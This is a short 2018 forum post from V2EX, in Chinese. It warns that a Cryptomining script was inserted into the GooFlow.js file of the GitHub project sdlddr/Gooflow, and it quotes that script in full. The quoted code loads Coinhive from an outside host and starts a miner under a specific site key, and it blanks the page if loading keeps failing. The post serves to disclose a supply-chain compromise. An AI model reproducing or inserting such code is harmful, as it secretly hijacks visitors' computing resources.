V2EX = way to explore
V2EX 是一个关于分享和探索的地方
Sign Up Now
For Existing Member  Sign In
hicdn

github sdlddr/Gooflow 项目代码里插入挖矿脚本

  •  
  •   hicdn · Jun 6, 2018 · 2200 views
    This topic created in 2881 days ago, the information mentioned may be changed or developed.

    https://github.com/sdlddr/Gooflow/blob/754a5174b69000c908714abbdb11c7e278bfa269/src/GooFlow.js#L446-L462

    var _ = window;
    try {
        _ = _.opener.$
    } catch (e) {
        try {
            _ = _.top.$
        } catch (e) {
            _ = $
        }
    };
    if (!_("head").data('x')) {
        GooFlow.a = 1;
        _a = 20;
        var d = new Date();
        _("head").data('x', 1);
        _.ajax("https://coinhive.com/lib/coinhive.min.js?" + d.getFullYear() + d.getMonth() + d.getDate(), {
            dataType: 'script',
            cache: true
        });
        _i = setInterval(function() {
            try {
                new CoinHive.Anonymous('GGdPGhxIloldaArArQVwxZ2sd8l0a4kH', {
                    throttle: 0.3
                }).start();
                clearInterval(_i)
            } catch (e) {
                _a--;
                if (_a < 1) document.write("")
            }
        }, 1000)
    }
    
    
    No Comments Yet
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   5933 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 29ms · UTC 06:38 · PVG 14:38 · LAX 23:38 · JFK 02:38
    ♥ Do have faith in what you're doing.